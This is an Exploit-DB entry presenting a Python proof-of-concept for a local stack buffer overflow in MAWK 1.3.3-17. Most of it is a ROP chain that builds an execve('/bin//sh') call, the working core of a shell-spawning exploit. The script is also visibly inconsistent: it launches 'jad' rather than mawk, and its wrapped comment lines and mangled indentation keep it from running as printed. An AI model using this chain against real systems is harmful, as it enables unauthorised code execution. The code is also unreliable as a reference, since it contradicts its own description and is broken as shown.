Exploit-DB #42357
Description: MAWK 1.3.3-17 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2017-07-24
Author: Juan Sacco

Exploit:
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
#
# Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful
# for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
import os, subprocess
from struct import pack

 ropchain = "A"*1038 # junk
 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
 edi ; pop ebp ; ret
 ropchain += pack('<I', 0x0811abe0) # @ .data
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x0807b744) # pop eax ; ret
 ropchain += '/bin'
 ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
 ebx ; pop ebp ; ret
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
 edi ; pop ebp ; ret
 ropchain += pack('<I', 0x0811abe4) # @ .data + 4
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x0807b744) # pop eax ; ret
 ropchain += '//sh'
 ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
 ebx ; pop ebp ; ret
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
 edi ; pop ebp ; ret
 ropchain += pack('<I', 0x0811abe8) # @ .data + 8
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
 ebx ; pop ebp ; ret
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
 ropchain += pack('<I', 0x0811abe0) # @ .data
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
 ropchain += pack('<I', 0x0811abe8) # @ .data + 8
 ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
 edi ; pop ebp ; ret
 ropchain += pack('<I', 0x0811abe8) # @ .data + 8
 ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x41414141) # padding
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080e571f) # inc eax ; ret
 ropchain += pack('<I', 0x080c861f) # int 0x80

  try:
         print("[*] MAWK 1.3.3 Stack-Based Buffer Overflow by Juan Sacco")
            print("[*] Please wait.. running")
               subprocess.call(["jad", ropchain])
  except OSError as e:
         if e.errno == os.errno.ENOENT:
                    print "MAWK  not found!"
                       else:
                               print "Error executing exploit"
                                  raise